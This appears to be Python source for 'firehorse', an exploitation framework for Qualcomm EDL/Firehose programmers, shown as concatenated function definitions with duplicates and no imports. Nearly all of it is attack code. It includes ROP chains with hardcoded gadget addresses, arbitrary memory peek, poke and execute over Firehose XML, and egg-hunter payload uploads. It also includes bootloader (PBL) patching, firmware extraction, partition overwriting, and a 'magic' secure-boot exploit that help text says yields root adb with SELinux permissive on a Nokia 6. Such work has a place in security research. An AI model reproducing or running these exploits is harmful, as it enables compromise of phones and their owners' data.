def upload_fh_data(): target = t.get() bbdb = BasicBlocks(target.basicblocks_db_pbl) bpm = BreakpointManager(bbdb) bpm.bp_programmer(0x1402C958, msg="peek0") bpm.bp_programmer(0x1402C964, msg="peek1") pm = PatchManager() # I('applying patches and breakpoints...') # pm.patch32_programmer(0x1402C958, 0xFFFFFFFF) I('creating pagecopy...') pages = set() I('pages: ' + str(pages)) pc = PageCopy(MODE_PBL, target.pbl_base_addr, target.pbl_copy_addr, pages, target_pages=[ 0x807D000, 0x807E000, 0x807F000, 0x807C000, 0x8068000, 0x806e000, 0x807B000 ]) I('uploading firehorse data...') fh = Firehorse(pm, bpm, pc) fhdata = fh.pack() fhbin = file("../tmp/fh.bin", "wb") fhbin.write(fhdata) fhbin.close() e = XMLHunter(fhdata, target.fh_base_programmer + target.fh_scratch_offset, target) e.send()
def upload_fh(): target = t.get() FH_FW.sendfile("../device/build/fh64.payload", target.fh_base_programmer) # e = XMLHunter(file("../device/build/fh64.payload","rb").read(), # target.fh_base_programmer, target) # e.send() return
def firehosep(path): target_out = [] search = "/".join(path.split("/")[:-1]) filename = path.split("/")[-1] p = subprocess.Popen([ FH_LOADER, r"--search_path=" + search, r"--port=\\.\%s" % target.get().com, "--sendxml=%s" % filename ], stdout=subprocess.PIPE, stdin=subprocess.PIPE) out = p.communicate("\n") if "There is a chance your target is in SAHARA mode!!" in out[0]: p.kill() raise FirehorseSendProgrammerException() for l in out[0].split("\r\n"): T("FIREHOSE: %s", l) if None == l: continue if "ERROR: Failed to open com port" in l: raise FirehorseDeviceNotConnectedException() m = re.search(r".*TARGET SAID:\s*'(.*)'.*", l) if m: target_out.append(m.group(1)) return target_out
def senddata(blob, addr, offset=0, size=-1): blob = blob[offset:] if size != -1: blob = blob[:size] blob += b"\x00" * (8 - len(blob) % 8) i = 0 while i < len(blob): I("%08x" % (addr + i)) xml = "<?xml version=\"1.0\" ?>\n<data>" for j in xrange(497): if target.get().peekpoke_style == 0: xml += "<poke address64=\"0x%08x\" SizeInBytes=\"0x8\" value=\"0x%08x\"/>\n"\ % (addr+i, struct.unpack("<Q", blob[i:i+8])[0]) else: xml += "<poke address64=\"0x%08x\" size_in_bytes=\"0x8\" value64=\"0x%08x\"/>\n"\ % (addr+i, struct.unpack("<Q", blob[i:i+8])[0]) i += 8 if i >= len(blob): break xml += "</data>" Framework.firehose(xml)
def __init__(self): self.cmds = {} t = target.get() if t.arch == 32: data = file(constants.CMD_PATH32, "rb").read() else: data = file(constants.CMD_PATH64, "rb").read() i = 0 found_export = False for line in data.split("\n"): if "exports:" in line: found_export = True continue if found_export is False: continue cmdmatch = re.match(r"B\s+.*?// CMD_([a-zA-Z0-9_]+)", line) if not cmdmatch: # i += 1 continue # print (cmdmatch.group(1), i) self.cmds[cmdmatch.group(1)] = i i += 1
def hook_handlers(): target = t.get() I("Hooking handlers") for i in xrange(16): I("%d" % i) FH_FW.sendfile("../device/build/dbgentry64.payload", 0xf803f000 + i * 0x80)
def magic(): target = t.get() cmd = Commands() bbdb = BasicBlocks(target.basicblocks_db_pbl) bpm = BreakpointManager(bbdb) pm = PatchManager() I('applying patches and breakpoints...') apply_patches(pm, target) apply_breakpoints(bpm) I('creating pagecopy...') pages = set() pages.update(pm.get_pbl_page_numbers()) pages.update(bpm.get_pbl_page_numbers()) I('pages: ' + str(pages)) pc = PageCopy(MODE_PBL, target.pbl_base_addr, target.pbl_copy_addr, pages, target_pages=[ 0x807D000, 0x807E000, 0x807F000, 0x807C000, 0x8068000, 0x806e000, 0x807B000 ]) I('uploading firehorse data...') fh = Firehorse(pm, bpm, pc) fhdata = fh.pack() fhbin = file("../tmp/fh.bin", "wb") fhbin.write(fhdata) fhbin.close() e = XMLHunter(fhdata, target.fh_base_programmer + target.fh_scratch_offset, target) e.send() I('uploading firehorse..') e = XMLHunter( file("../device/build/fh.payload", "rb").read(), target.fh_base_programmer, target) e.send() I('initializing firehorse...') FH_FW.exe_cmd(target.fh_base_programmer, cmd.INIT) I('calling pbl patcher...') FH_FW.exe_cmd(target.fh_base_programmer, cmd.PBL_PATCHER)
def magic(): cmd = Commands() target = t.get() # overwrite logdump partition with our modified ramdisk Framework.write_partition("logdump", "target/nokia6/nokia6-ramdisk-modified.cpio.gz") bbdb = BasicBlocks(target.basicblocks_db_pbl) bpm = BreakpointManager(bbdb) pm = PatchManager() I("applying patches and breakpoints...") apply_patches(pm, target) apply_breakpoints(bpm) I("creating pagecopy...") pages = set() pages.update(pm.get_pbl_page_numbers()) pages.update(bpm.get_pbl_page_numbers()) I("pages: " + str(pages)) pc = PageCopy(MODE_PBL, target.pbl_base_addr, target.pbl_copy_addr, pages) I("uploading firehorse data...") fh = Firehorse(pm, bpm, pc) fhdata = fh.pack() fhbin = file("../tmp/fh.bin", "wb") fhbin.write(fhdata) fhbin.close() egg_hunter = Egg(fhdata, target.fh_base_programmer + target.fh_scratch_offset) egg_hunter.send() I("uploading firehorse...") egg_hunter = Egg( file("../device/build/fh.payload", "rb").read(), target.fh_base_programmer) egg_hunter.send() I("initializing firehorse...") FH_FW.exe_cmd(target.fh_base_programmer, cmd.INIT) I("calling pbl patcher...") FH_FW.exe_cmd(target.fh_base_programmer, cmd.PBL_PATCHER) if "wait" in " ".join(sys.argv): I("waiting for LF") raw_input() I("you have 5 seconds") time.sleep(5) Framework.exe(target.pbl_base_addr)
def read_partition(name): program = Framework.read_program_for_partition(name) if None == program: raise FirehorseCannotFindProgramException() filename = "%s-%s-read.bin" % (target.get().name, name) program.attributes["filename"] = filename program.tagName = "read" D("read program = %s", program.toxml()) I("Downloading partition %s to %s...", name, filename) f = file(filename, "wb") f.close() xml = "<?xml version=\"1.0\" ?>\n" xml += "<data>\n" if target.get().ufs: xml += "<configure MemoryName=\"ufs\" />" xml += program.toxml() + "\n" xml += "</data>\n" Framework.firehose(xml)
def send_programmer(): t = target.get() out = subprocess.Popen([ SAHARA_SERVER, "-p", r"\\.\%s" % t.com, "-s", "13:%s" % t.programmer_name, "-b", "%s\\" % t.programmer_search_path ], stdin=subprocess.PIPE, stdout=subprocess.PIPE).communicate("\n") if not "transferred successfully" in out[0]: if "Could not connect" in out[0]: raise FirehorseDeviceNotConnectedException() raise FirehorseSendProgrammerException()
def boom(): target = t.get() FH_FW.peek(target.fh_base_programmer, 0x1100) I('1') FH_FW.peek(target.fh_base_programmer, 0x1100) I('2') FH_FW.peek(target.fh_base_programmer, 0x1100) I('3') FH_FW.peek(target.fh_base_programmer, 0x1100) I('4') #FH_FW.sendfile("../device/build/test64.payload", 0xf8048c00) I('5') #FH_FW.poke64(0xfec04098,0xf8048c00) I('boom') return
def rop(): target = t.get() # super gadget # FH_FW.poke64(target.saved_lr_addr+8, GADGET_INFINITE_LOOP) """ # copy original stack FH_FW.copy(target.saved_lr_addr+0x128, target.saved_lr_addr+8, 0x128) # copy original saved lr FH_FW.poke64(target.saved_lr_addr+0x120, target.saved_lr) # set new stack FH_FW.poke64(target.saved_lr_addr+0x20, target.saved_lr_addr+0x118) # set blr x8 gadget FH_FW.poke64(target.saved_lr_addr+0x8, GADGET_RESET) # set saved_x8 FH_FW.poke64(target.saved_lr_addr+0xb8, GADGET_RESET) # set super gadget FH_FW.poke64(target.saved_lr_addr, GADGET_SUPER) """ # FH_FW.poke64(target.saved_lr_addr+0xC0, 0) # FH_FW.poke64(target.saved_lr_addr+0x30, GADGET_RESET) # FH_FW.poke64(target.saved_lr_addr+0x28, GADGET_RESET) # FH_FW.poke64(target.saved_lr_addr+0x20, GADGET_RESET) # FH_FW.poke64(target.saved_lr_addr+0x18, GADGET_RESET) # FH_FW.poke64(target.saved_lr_addr+0x10, GADGET_RESET) # FH_FW.poke64(target.saved_lr_addr+0x8, GADGET_RESET) FH_FW.poke64(target.saved_lr_addr + 0x1f0, 0x0) # x1 FH_FW.poke64(target.saved_lr_addr + 0x108, 0x98) # x28 FH_FW.poke64(target.saved_lr_addr + 0x128, 0x1) # x24 FH_FW.poke64(target.saved_lr_addr + 0x130, 0x1000) # X25 FH_FW.poke64(target.saved_lr_addr + 0x160, target.saved_lr_addr + 0x218 + 0x28) FH_FW.poke64(target.saved_lr_addr + 0x200, target.saved_lr_addr + 0x218 + 0x28) FH_FW.copy_and_rebase(target.saved_lr_addr + 0x218, target.saved_lr_addr + 8, 0x210) FH_FW.poke64(target.saved_lr_addr + 0x210, target.saved_lr) FH_FW.poke64(target.saved_lr_addr + 0x110, target.saved_lr_addr + 0x208) FH_FW.poke64(target.saved_lr_addr + 0x1a8, GADGET_SCTLR_EL1) FH_FW.poke64(target.saved_lr_addr + 0xf8, GADGET_BLR_X8) FH_FW.poke64(target.saved_lr_addr + 0xf0, GADGET_SUPER) FH_FW.poke64(target.saved_lr_addr, GADGET_ADD_SP)
def hexdump(src, length=16, base=0): format = "%08x %-*s %s\n" if target.get().arch == 64: format = "%016lx %-*s %s\n" FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)]) lines = [] for c in xrange(0, len(src), length): chars = src[c:c + length] hex = ' '.join(["%02x" % ord(x) for x in chars]) printable = ''.join([ "%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars ]) lines.append(format % (c + base, length * 3, hex, printable)) return ''.join(lines)
def rop(): target = t.get() # copy original stack FH_FW.copy(0xFEC040a0, 0xFEC03F90, 0x256) FH_FW.copy(0xFEC04098, 0xFEC03F88, 8) # gadget_set_sctlr_el3 FH_FW.poke64(0xFEC04060, 0xF803DF38) # saved x1 = 0 FH_FW.poke64(0xFEC04f88, 0) # gadget_blr_x4 FH_FW.poke64(0xFEC03f90, 0xf800e280) # super gadget F803E848 FH_FW.poke64(target.saved_lr_addr, 0xF803E848)
def write_partition(name, srcpath): program = Framework.read_program_for_partition(name) if None == program: raise FirehorseCannotFindProgramException() from shutil import copyfile import os srcname = os.path.basename(srcpath) dstpath = os.path.join("../tmp", srcname) copyfile(srcpath, dstpath) program.attributes["filename"] = srcname D("write program = %s", program.toxml()) I("Overwriting partition %s with %s...", name, dstpath) xml = "<?xml version=\"1.0\" ?>\n" xml += "<data>\n" if target.get().ufs: xml += "<configure MemoryName=\"ufs\" />" xml += program.toxml() + "\n" xml += "</data>\n" Framework.firehose(xml)
def voodoo(): target = t.get() for i in xrange(8): print '%d' % i FH_FW.peek(target.fh_base_programmer, 0x4000)
def upload_init64(): target = t.get() FH_FW.sendfile("../device/build/init64.payload", target.fh_base_programmer) FH_FW.exe64(target.fh_base_programmer)
def exe(va): Framework.poke(target.get().exe_addr, 4, va)
def exe_cmd(base, cmd): D('Executing %08x', base + 0x20 + cmd * 4) Framework.poke(target.get().exe_addr, 4, base + 0x20 + cmd * 4)
def init_firehose(): target = t.get() cmd = Commands() I('initializing firehorse...') FH_FW.exe64_cmd(target.fh_base_programmer, cmd.INIT)
def exe64(va): D("Executing %08x", va) Framework.poke64(target.get().exe_addr, va)
def main(): adjustLevels() parser = argparse.ArgumentParser(\ prog="firehorse", usage="python firehorse.py -t TARGET_NAME [options] cmd [cmd_args]", formatter_class=argparse.RawTextHelpFormatter, epilog=textwrap.dedent('''\ target commands: magic causes the magic function in the target_TargetName.py file to be called - on nokia6 this will activate the secure boot exploit and the device will boot with root adb access and SELinux in permissive mode rop executes a rop payload (different for every device) uart dumps uart buffer dump_pt dumps the programmer page table dump_pt32 [skip] dumps the programmer page table (32 bit table format), if 'skip' is passed, skipps the first 'skip' entries in fisrt level PT dump_pt64 dumps the programmer page table (64 bit table format) extract_pbl dumps the device pbl (to a file in the cwd) extract_modem_pbl dumps the device modem_pbl (to a file in the cwd) extract_rpm_pbl dumps the device rpm_pbl (to a file in the cwd) read_partition name dumps the partition specified by name (to a file in the cwd) write_partition name srcpath overwrites the partition specified by name with the file specified by srcpath fw commands: hello send programmer to device firehosep xml_path send the xml specified in xml_path to the programmer upload file_path addr upload the binary file specified by file path to the address addr in 32 bit chunks upload64 file_path addr upload the binary file specified by file path to the address addr in 64 bit chunks sendfile file_path addr upload the binary file specified by file path to the address addr (faster then upload) exec addr executes the code located at address addr - for 32 bit code exec64 addr executes the code located at address addr - for 64 bit code run file_path addr uploads the file located at file_path to address addr and executes it - for normal arm code runt file_path addr uploads the file located at file_path to address addr and executes it - for thumb code peek addr size [output_file] reads size bytes from address addr and prints them to screen,if output_file is passed the output is written to file copy dst src size copies size bytes from address src to address dst poke addr val writes 4 bytes of data specified by the hex value val at address addr Usage examples: python firehorse.py -s -c COM17 -t nokia6 target magic python firehorse.py -c COM17 -t nokia6 fw hello python firehorse.py -c COM17 -t nokia6 fw peek 0x100000 0x10 ''')) parser.add_argument('-c', '--com', dest='com', help='Specify COM port', default=constants.COM) parser.add_argument( '-t', '--target', dest='target_name', help= 'Specify target, can be one of the following: nokia6 | angler | ugglite | mido | cheeseburger', required=True) parser.add_argument( '-s', '--hello', dest='hello', action='store_true', help= 'send programmer to device - REQUIRED on the first time you use this tool after the device booted into EDL', default=False) parser.add_argument('-v', '--verbose', action='store_true', dest='verbose', help='Enable verbose logging') parser.add_argument('-vv', '--moreverbose', action='store_true', dest='moreverbose', help='Even more logging') parser.add_argument('cmd', nargs='*', help='Conduct command: fw ... | target ...') args = parser.parse_args() if args.verbose: lg.setVerbose() if args.moreverbose: lg.setVerbose(True) if not os.path.exists("../tmp"): os.mkdir("../tmp") try: target.set_target(args.target_name, args.com) except KeyError: E("unknown target") sys.exit(1) if args.hello: i = 0 I('sending programmer...') while True: try: i += 1 Framework.send_programmer() break except FirehorseDeviceNotConnectedException: time.sleep(1) if (i % 10) == 0: I("device not connected, waiting.") time.sleep(1) name = args.cmd[0] args = args.cmd[1:] cmds = {'target': target.get().do_cmd, 'fw': fw.do_cmd} cmds[name](args)
def rop(): rop_exec(GADGET_LEAK_PT, t.get().fh_base_programmer)
def exe64_cmd(base, cmd): D('Executing %016lx', base + 0x30 + cmd * 8) Framework.poke64(target.get().exe_addr, base + 0x30 + cmd * 8)
def get_target(_target, verbose, test): # call from bypass_wildcard(target, wcode) return target.get(_target, verbose, test)
def get_xmlhunter_xml(): if not Framework.xmlhunter_xml: Framework.xmlhunter_xml = file(target.get().xmlhunter_xml).read() return Framework.xmlhunter_xml
def get_rawprogram_xml_path(): if not Framework.rawprogram_xml_path: Framework.rawprogram_xml_path = target.get().rawprogram_xml return Framework.rawprogram_xml_path
def get_poke_xml(): if not Framework.poke_xml: Framework.poke_xml = file(target.get().poke_xml).read() return Framework.poke_xml